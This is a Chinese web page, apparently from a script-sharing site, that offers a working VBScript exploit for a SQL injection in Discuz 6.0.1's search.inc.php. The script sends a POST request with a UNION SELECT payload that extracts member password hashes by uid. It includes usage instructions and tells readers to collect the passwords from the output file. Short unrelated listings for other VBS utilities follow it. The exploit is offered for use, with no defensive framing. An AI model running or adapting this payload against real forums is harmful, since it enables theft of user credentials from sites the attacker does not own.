也利于修改
以下是search.inc.php 文件漏洞利用代码VBS版

Dim strUrl,strSite,strPath,strUid 
showB() 
Set Args = Wscript.Arguments 
If Args.Count <> 3 Then 
ShowU() 
Else 
strSite=Args(0) 
strPath=Args(1) 
strUid=Args(2) 
End If 
strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit" 
Set objXML = CreateObject("Microsoft.XMLHTTP") 
objXML.Open "POST",strSite & strPath & "index.php", False 
objXML.SetRequestHeader "Accept", "*/*" 
objXML.SetRequestHeader "Accept-Language", "zh-cn" 
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" 
objXML.SetRequestHeader "User-Agent", "wap" 
objXML.send(strUrl) 
wscript.echo(objXML.ResponseText) 
Sub showB() 
With Wscript 
.Echo("+--------------------------=====================------------------------------+") 
.Echo("Exploit discuz6.0.1") 
.Echo("Code By Safe3") 
.Echo("+--------------------------=====================------------------------------+") 
End with 
End Sub 
Sub showU() 
With Wscript 
.Echo("+--------------------------=====================------------------------------+") 
.Echo("用法:") 
.Echo(" cscript "&.ScriptName&" site path uid") 
.Echo("例子:") 
.Echo(" cscript "&.ScriptName&" http://www.example.com/ /forum/ 1 >result.txt") 
.Echo("+--------------------------=====================------------------------------+") 
.Quit 
End with 
End Sub 

获得的密码大家自己在result.txt中查找

添加网站到安全站点.设置安全站点打开ActiveX时提示.去页眉页脚的vbs代码
'/*========================================================================='*Intro主要是解决在使用WebBrowser打印时，得先设置IE安全性的问题'*FileName添加网站到安全站点.

文件夹定时自动备份 AutoBackUpFolder.vbs
'/*========================================================================='*Intro定时自动备份文件夹到一个以时间命名的新目录，设置好后加到启动项里，只要一启动

iis PHP安装脚本 PHPInstall.vbs V3.1
'/*========================================================================='*IntroPHP安装脚本，您所要做的操作是：保存这个文件与要安装的php文件夹放一起(不要放在C盘